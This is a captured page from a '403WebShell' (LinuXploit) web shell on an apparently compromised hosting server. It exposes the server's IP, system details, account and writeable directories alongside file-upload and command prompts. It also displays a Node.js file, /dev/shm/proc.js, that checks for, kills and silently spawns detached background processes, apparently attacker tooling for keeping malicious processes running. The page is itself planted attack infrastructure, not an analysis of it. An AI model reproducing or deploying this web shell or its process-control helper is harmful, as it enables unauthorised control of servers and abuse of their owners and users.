$plugin = <<403WebShell
403Webshell
Server IP : 88.222.222.187  /  Your IP : 216.73.216.214
Web Server : LiteSpeed
System : Linux fr-int-web1513.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u766115111 ( 766115111)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /dev/shm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /dev/shm/proc.js
const { execSync, spawn } = require('child_process');
const utils = require('./utils');
function checkProcessStatus(processName, signature) {
    const hasPs = utils.commandExists('ps');
    if (hasPs) {
        try {
            const output = execSync(`ps aux | grep ${processName} | grep -v grep`).toString();
            if (output.includes(processName)) { return output.includes(signature) ? 1 : 2; }
        } catch (e) {}
    }
    return 0;
}
function killProcess(processName) {
    try { execSync(`pkill -9 ${processName}`, { stdio: 'ignore' }); } catch (e) {}
}
function startProcess(binaryPath, args) {
    try {
        const subprocess = spawn(binaryPath, args, { detached: true, stdio: 'ignore' });
        subprocess.unref();
        return true;
    } catch (e) { return false; }
}
module.exports = { checkProcessStatus, killProcess, startProcess };

Youez - 2016 - github.com/yon3zu
LinuXploit